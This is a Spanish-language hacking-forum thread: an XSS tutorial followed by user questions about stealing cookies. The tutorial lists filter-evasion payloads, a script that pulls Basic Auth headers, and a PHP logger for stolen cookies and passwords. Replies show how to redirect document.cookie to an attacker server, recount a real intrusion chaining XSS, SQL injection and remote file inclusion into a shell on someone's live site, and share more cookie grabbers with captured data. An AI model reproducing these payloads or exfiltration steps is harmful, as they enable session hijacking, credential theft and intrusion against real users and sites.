elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


+  Foro de elhacker.net
|-+  Informática
| |-+  Tutoriales - Documentación
| | |-+  Los Poderes Secretos de XSS (Cross Site Scripting)
0 Usuarios y 1 Visitante están viendo este tema.
Encuesta
Pregunta: Que te pareció este manual?
Malisimo :(
Malo
No aprendí nada
Bueno
Buenisimo :)

Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Los Poderes Secretos de XSS (Cross Site Scripting)  (Leído 48,918 veces)
sirdarckcat
Troll Buena Onda y
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.972


Lavando Platos


Ver Perfil WWW
Los Poderes Secretos de XSS (Cross Site Scripting)
« en: 9 Diciembre 2005, 05:02 »

Los Poderes Secretos de XSS por
.


XSS aka Cross Site Scripting es el ataque basado en la explotacion de vulnerabilidades de el sistema de validación de HTML incrustado.
El problema es que normalmente no se valida correctamente, esta vulnerabilidad puede estar de forma directa (foros, mensajes de error, etc..) o indirecta (redirecciones, framesets, etc..)
cada una se trata de forma diferente:

TipoManejo
DirectaEste tipo de XSS, es el que normalmente es censurado, asi que es muy poco comun que puedas usar tags como <script o <iframe, sinembargo nunca es malo probar, para ver formas de pasar estas protecciones, debes de saber mas de HTML que el creador del sitio
IndirectaEsta es un tipo de vulnerabilidad, muy comun, y muy poco explotada, consiste en modificar valores que la aplicacion web utiliza para pasar variables entre 2 paginas, sin usar sesiones.

Indirecta
Explicare primero la Indirecta, ya que es la menos censurada.
Esta sucede cuando hay un mensaje o una ruta en la URL del navegador o en la cookie.
para saber el contenido de una cookie, sin usar ningun tipo de iecv o addin para tu navegador, puedes usar el siguiente script, solo colocalo en la barra de direcciones, y presiona Enter.
Código:
javascript:void(document.cookie=prompt("Modifica el valor de la cookie",document.cookie).split(";"));
una vez dentro podras modificar la cookie a tu antojo, si pones cancelar la cookie se borrará.
ahora, que podemos ver con este ejemplo?
que podemos meter comandos javascript solo modificando una URL, como puedes aventajarte de esto?

Usando FrameSets
bien, regresemos al ejemplo de el frameset, que segun la pagina que coloques te crea un frame a esa pagina.
que pasara si pones, en esa URL
Código:
javascript:while(1)alert("Te estoy floodeando");
y el link, lo pones en un foro, un navegador incauto, va a verlo y dira, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendra un loop infinito.

Ahora, hasta ahi llegan los newbies, pero vamos a evolucionar un poco, ahora, que tal que pones un script que tome tu cookie, y mande un mp a el administrador, o incluso, que borre todos tus post en X foro, todo esto es posible.. y solo necesita un poco de imaginación.
Ahora lo que va.. el robo de cookies, es lo mas basico, y tiene como objetivo robar la cookie.. me diran, y eso de que sirve? tengo el PHPSESSID, y si el usuario ciera sesion no me servira de nada.
tienes razon, pero por ejemplo, con el uso de la libreria cURL un usuario malintencionado, podria al recibir tu cookie, entrar a la pagina, y dejarla en cache, para que el atacante cuando quiera, pueda entrar como tu, sin siquiera necesitar tu password.. esto va cobrando seriedad no?
ahora que mas?
Otro uso comun para estas vulnerabilidades es lograr hacer phishing, o colocar un Xploit..
tu ves la barra de direcciones, y ves que estas en una pagina, pero realmente estas en otra.. metes tu pass, y ya valiste.
Pero lo que me gusta mas, son los sitios de descarga, que colocan en la misma url, el sitio de objetivo.. esas paginas, son vulnerables a ataques XSS indirectos directos xD
osea, puedes colocar una imagen con link al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
Incluso PODIAS borrar un post en phpBB, o hacerte admin (era posible, no me molesten, claro que si), con este tipo de vulnerabilidad.
Ahora, vamos al siguiente tipo indirecto.

Mensaje personalizado
Estas, son forsosamente para links, no funciona en imagenes (al menos no he visto ninguna que sirva.) y va en esta forma:
Código:
error.php?error=Usuario%20Invalido
esa pagina, es vulnerable a XSS Indirecto.
con esto puedes meter casi lo que sea ahi dentro.
un <script> que te cree otra sesion bajo otro usuario, y tu sesion actual la mande a el atacante (es lo que explicaba de cURL hace un momento), o lo que sea.. aqui hay muy pocas limitantes.
Voy a explicar como puedes modificar TODA la pagina, osea todo su aspecto, con una vunerabilidad como esta.
con este codigo, se borra todo el contenido de la pagina, y escribe otra cosa:
Código:
<script>
document.documentElement.innerHTML="DEFACED";
</script>
muy complicado?
esto tiene muchos usos potenciales..

Directa
Esta es la mas divertida, y es cuando en por ejemplo.. un foro como este puedo meter un tag, y ejecutar un codigo, que pueda hacer casi lo mismo, o lo mismo que el Indirecto de Mensaje.
Funciona localizando puntos debiles en la programación de los filtros, asi que si por ejemplo, logran quitar los <iframe, <script etc.. siempre puedes poner un <div malicioso, o incluso un <u> o <s>, etc.. tags que casi siempre estan permitidos.
Esto pone los pelos de punta a muchos webmasters, afortunadamente, muchos no saben del "lado obscuro" de HTML + IExplorer :)
colocare una sección del CheatSheet de RSnake (http://ha.ckers.org/xss.html)
Citar
Código:
Embedded tab to break up the cross site scripting attack: <IMG SRC="jav ascript:alert('XSS');">
Código:
Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
Código:
Spaces and meta chars before the javascript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal):
<IMG SRC=" &#14; javascript:alert('XSS');">
Código:
Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes any non-alpha-non-digit is a non-valid after an HTML and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT&XSS\s":
<SCRIPT&XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Código:
INPUT image:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
Entre muchos otros, les recomiendo, que cuando busquen vulnerabilidades XSS, entren a esa página muy buena recopilación., voy a profundizar en ún tipo de esos ataques.
Código:
<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
usar Style es increiblemente facil de usar, y muchos filtros son vulnerables.
quien se va a imaginar que puedes meter cosas en este!! pues ya ven.. si puedes :)
logicamente no vas a meter todo en el espacio que tienes, puedes usar:
Código:
eval(this.fu)
y en el div, agregar un campo "fu" con el codigo
<div fu="alert('Hola');" STYLE="background-image: url(javascript:eval(this.fu))">

AJAXSS
Este es un tipo de XSS no tan conocido, pero peligroso.
se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y desde ahi enviar contenido POST, GET, etc.. automaticamente, sin conocimeinto del usuario, un Bug de XSS, usando esta tecnica en MySpace de MSN, permitio que una persona, lograra tener mucha fama (y es que pudo haber hecho cosas malas, afortunadamente solo hizo esto)
El potencial de este tipo de ataque es infinitamente alto, asi que "Be scared", porque parece ser que tiene un futuro prometedor.

El siguiente script obtiene el valor de las cabezeras de autenticacion de un sistema basado en Basic Auth. solo habria que decodificarlo, pero es mas facil mandarlo codificado a tu log de contraseñas, la codificacion es base64.

Código:
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("TRACE","./",false);
xmlhttp.send();
str1=xmlhttp.responseText;
splitString = str1.split("Authorization: Basic ");
str2=splitString[1];
str3=str2.split("Cache");
alert(str3);

log.php para registrar cookies
Código:
<?php
$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");

fwrite($archivo, '
USUARIO Y PASSWORD: '.base64_decode($usuario).'
Cookie: '.$cookie.'
Pagina: '.$re.'
 IP: ' .$ip. '
 Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);
?>

Links
  • Anexo(ADB.htm) -Codificador URL, UTF-8 y de Entidades HTML
  • Anexo(EUU.htm) -Codificador Hexadecimal, Decimal, Binario
  • Anexo(b64.htm) -Codificador y decodificador de Base64 y Radix64
  • http://ha.ckers.org/xss.html -Gran recopilatorio de ataques XSS comunes

Citar
(c) Sirdarckcat 2005
Autorizo la reproduccion total o parcial de este documento de acuerdo con la licencia de documentación libre de GNU, una copia puede ser encontrada en http://www.gnu.org/


« Última modificación: 16 Agosto 2011, 07:37 por sirdarckcat » En línea

whaky

Desconectado Desconectado

Mensajes: 151


Angel del Infierno


Ver Perfil
Re: Manual de XSS
« Respuesta #1 en: 15 Diciembre 2005, 15:36 »

muy buen manual.
es sobre un tema que no manejo bien y esto seguro ayuda :D


En línea

Los muertos hablan y las paredes oyen
por si acaso nunca reveles tu identidad.
Isirius
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.492



Ver Perfil
Re: Manual de XSS
« Respuesta #2 en: 17 Diciembre 2005, 14:16 »

Ahora me lo leere y votare aunque seguro que es muy bueno.
En línea

$$doctor$$

Desconectado Desconectado

Mensajes: 17


Ver Perfil
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #3 en: 28 Diciembre 2005, 12:27 »

 :-* tendre que mirarlo detalladamente para enterarme mejor,pero parece util.gracias por postearlo!!
En línea

knk.ink

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #4 en: 31 Diciembre 2005, 03:23 »

Hola como utilizaria el  log.php para guardar una cookie? :huh:

por que solo abriendolo ej. www.site.com/log.php  solo te guarda esto
Código:
USUARIO Y PASSWORD:
Cookie:
Pagina:
IP: XXX.XXX.XX.XXX
Fecha y Hora: 31 December, 2005, 3:15 am
Como seria la url para que se guarde la cookie?
no es algo asi de  "www.site.com/log.php?variablenosecual=document.cookie no se que mas"

Alguien me explica?

Por favor.
Saludos ;D ;D ;D
En línea

sirdarckcat
Troll Buena Onda y
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.972


Lavando Platos


Ver Perfil WWW
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #5 en: 31 Diciembre 2005, 05:35 »

Hola como utilizaria el log.php para guardar una cookie? :huh:

por que solo abriendolo ej. www.site.com/log.php solo te guarda esto
Código:
USUARIO Y PASSWORD:
Cookie:
Pagina:
IP: XXX.XXX.XX.XXX
Fecha y Hora: 31 December, 2005, 3:15 am
Como seria la url para que se guarde la cookie?
no es algo asi de "www.site.com/log.php?variablenosecual=document.cookie no se que mas"

Alguien me explica?

Por favor.
Saludos ;D ;D ;D

sitio.com/log.php?c=cookie
sitio.com/log.php?id=basicauth

Saludos!!
En línea

Rey11


Desconectado Desconectado

Mensajes: 3.255


Ver Perfil WWW
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #6 en: 3 Enero 2006, 14:31 »

Una cosa que no me queda clara aun es como si el usuario abre la web malefica:
¿como se le roba la cookie y la puedes guardar en tu servidor?
O sea que al abrir la web con el codigo html inyectado se habra otra ventana donde esta la url de mi modulo php y la variable sea igual a la cookie.
Saludos  ::)
En línea

sirdarckcat
Troll Buena Onda y
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.972


Lavando Platos


Ver Perfil WWW
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #7 en: 4 Enero 2006, 19:23 »

con un script..

las cookies se pueden acceder desde javascript, con la variable
document.cookie

mira, escribe esto en la barra de direcciones de tu navegador:
javascript:alert(document.cookie);

de hecho hay una manera de sacar el IP y el referrer xD pero eso no sirve denada.. si lo vas a enviar a un log, porque PHP los saca solito

hace poco morris y yo estabamos haciendo un ataque con una vulnerabilidad de XSS, nos banearon pero seguiamos hasta que parchearon el bug :(, aun asi el ataque fue un exito ;) y ahora no puedes entrar a esa pagina desde México xDDD usabamos XMLHTTP o AJAX, y si el usuario usaba IE6 podiamos sacar su password jaja, era todo un desm*dr3 xD

Saludos!!
En línea

Rey11


Desconectado Desconectado

Mensajes: 3.255


Ver Perfil WWW
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #8 en: 4 Enero 2006, 19:31 »

Ya, pero me refiero a que he visto a veces esto:
Citar
javascript:http://servidor.com/carpeta/fichero.php?variable=document.cookie
Eso seria desde el navegador en la ruta de direcciones, pero como seria que automaticamente al visitar la web se hiciera eso.
Saludos  ::)
En línea

sirdarckcat
Troll Buena Onda y
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.972


Lavando Platos


Ver Perfil WWW
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #9 en: 4 Enero 2006, 19:45 »

Código:
javascript:http://servidor.com/carpeta/fichero.php?variable=document.cookie
enserio viste eso?
eso no va a servir
es algo asi:
Código:
self.location.href="http://servidor.com/carpeta/fichero.php?variable="+document.cookie;
:)

Saludos!!
En línea

sirdarckcat
Troll Buena Onda y
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.972


Lavando Platos


Ver Perfil WWW
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #10 en: 16 Enero 2006, 09:57 »

XSS + SQL Iny + RFI

Encontré una Web que gracias a un bug de XSS econtre un SQL Inyection y despues un RFI, porque digo esto?
para poner como ejemplo que XSS si es un asunto serio.

El XSS se encontraba en un TAG Board, que esta en todas las web a las que entras en el sitio, es parecido a php_nuke.
lo unico que hice con mi script, es notificarme a cuales páginas entraban los usuarios, y guardaba todos los submits en cookies para despues mandarlas a mi log tambien.
(El robo de cookies no funcionaba, el sistema guardaba la ip en la sesión)
yo esperaba que el admin pusiera su pass, y listo :P, pero nunca paso esto.. :(, consegui de muchos usuarios mortales, talvez el admin ya tenia iniciada su sesion con cookies.. y no podia cerrarsela, porque tenia limite de longitud mi bug.
SIN embargo, aun sin conseguir el pass de admin sabia a que paginas entraba este.. era muy facil saberlo, porque todas estaban en la carpeta /admin/
Despues de andar monitoreando sus movimientos un buen rato, vi que cuando entraba a poner una noticia, se enviaba en Post un numero.
Si tuviera acceso a ese documento sin ser admin, me hubiera ahorrado muchos problemas, pero pues.. como la ven que no.
El script, no lo podia modificar, ni podia poner otro, asi que debia encontrar una manera de enviar la información.
El antiguo bug de GET=POST en php, me ayudo.
Este sitio tenia foro, asi que lo unico que debi hacer fue:
(Modificado obvio!!)
Código:
Hola, me podrias orientar sobre como ser administraor de este foro?

Saludos
::wink::[img]http://site.com/admin/news.php?nid='&tno=abc&mno=abc&tn=23[/img]

nid es donde se guardaba el numero, tno el titulo mno es el mensaje y tn es el tema, lo puse en el ultimo para que no llamara la atencion.

Si se creaba la noticia era porque no habia inyección, si no se creaba, era porque si habia.

Ahora, esto parece una inyección mas dificil que un blind no? jaja
ahi fue donde entro el RFI.
Al parecer si habia inyección SQL, pero no se como diablos estabala sentencia que se creo la noticia, pero en el titulo se guardo (modificado):
Citar
Warning: Invalid Socket Stream /news/23th.php
ese 23 es de el tema, :P
Solo tuve que mandar otro MP al admin, ahora preguntandole, porque no me respondio mi post de quiero ser admin xD.
pero ahora con esta imagen:
Código:
http://site.com/admin/news.php?nid='&tno=abc&mno=abc&tn=http%3A//miserv.com/rfi/sh.txt?
el ? del final es porque el script agrega th.php al final
:P listo, ahora entraba con method POST y una variable en un formulario ya diseñado a:
http://site.com/index.php
y se creaba una consola de shell.
NO hice deface. yo estoy encontra de los defaces.
no es la gran cosa, es como cualquier 0wn3d, pero quize publicarlo, porque se me hizo gracioso, como este ataque fue de un tipo a otro, sin quererlo realmente.

Este sistema web es independiente, pero dicen que lo quieren vender jeje, si lo saca.. tendra los primeros 3 bug a los 15 segundos xD


Saludos!!
En línea

deceiver

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #11 en: 16 Marzo 2006, 20:59 »

Porque solo me guarda esto y no la cookie entera??

USUARIO Y PASSWORD:
Cookie: BSUID=1; ASLTRG1=28
Pagina:
IP: 212.78.xxx.xxx
Fecha y Hora: 16 March, 2006, 8:50 pm


y solo guarda si abro la web si la abre otro nada  estoy usando hosting lycos (nose si sera por eso)
probe con otro cookie grabber y solo me guardaba si la abria yo tambien pero grababa todo.. el otro es:

<?php
cookie=$_REQUEST['cookie'];
$openfile = fopen("cookies.txt", "a");
fwrite($openfile, "$cookie\n");
fclose($openfile);
?>

« Última modificación: 16 Marzo 2006, 21:09 por deceiver » En línea

sirdarckcat
Troll Buena Onda y
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.972


Lavando Platos


Ver Perfil WWW
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #12 en: 17 Marzo 2006, 00:01 »

deceiver:
¿como es la cookie completa?

Saludos!!
En línea

deceiver

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Los Poderes Secretos de XSS (Cross Site Scripting)
« Respuesta #13 en: 17 Marzo 2006, 00:54 »

ESta es la cookie entera.

hhr=4347; BSUID=1; FRQSTR=19042219|19042219|19042219|19042219|19042219; WIDYMD=#30554:FCP#; KIDYMD=#225393:FCPB#202979:FCGC#202984:FCFA#231288:FBDA#; ASLTRG1=28#24#.es#604#1335#.inversas.jazztel.es#62.14.155.30#es##-9718#1334#1229#0#0

algo asi pero esque si la abre alguien que no sea yo nisiquiera guarda el principio¿porque puede ser? alguna idea?

gracias, un saludo

Encontre otro cookie grabber que funciona bien pero me guarda un trozo o otro aqui 3 diferentes que me guardo

FRQSTR=19042251|19042251|19042251|19042251|19042251; ASLTRG1=28


 BSUID=1; FRQSTR=19012244x202979:1:5108|19012244|19012244|19012244|19012244; WIDYMD=



FRQSTR=18802497|18802497|18802497|18802497|18802497

en ninguna me la guarda entera pero al menos con este guarda un trozo aunque no la abra yo.. el 19042251|19042251|19042251|19042251|19042251 deduzco que sera la password ¿porque puede ser SirdarckCat?
« Última modificación: 18 Marzo 2006, 00:05 por deceiver » En línea

Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Dudas con Cross Site Scripting.....(XSS)
Hacking Básico
cho 1 912 Último mensaje 8 Mayo 2004, 01:48
por el-brujo
que es un ataque CSS (Cross Site Scripting).
Hacking Básico
aaldoz 3 2,138 Último mensaje 24 Abril 2005, 19:59
por el-brujo
Cross Site Scripting (XSS)
Nivel Web
yeikos 3 3,618 Último mensaje 28 Mayo 2007, 05:59
por Man-In-the-Middle
Cross Site Scripting
Nivel Web
berni69 11 3,441 Último mensaje 20 Julio 2007, 16:24
por Tengu
Cross Site Scripting
Nivel Web
pelonms7 6 2,038 Último mensaje 7 Marzo 2011, 03:20
por pelonms7
Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines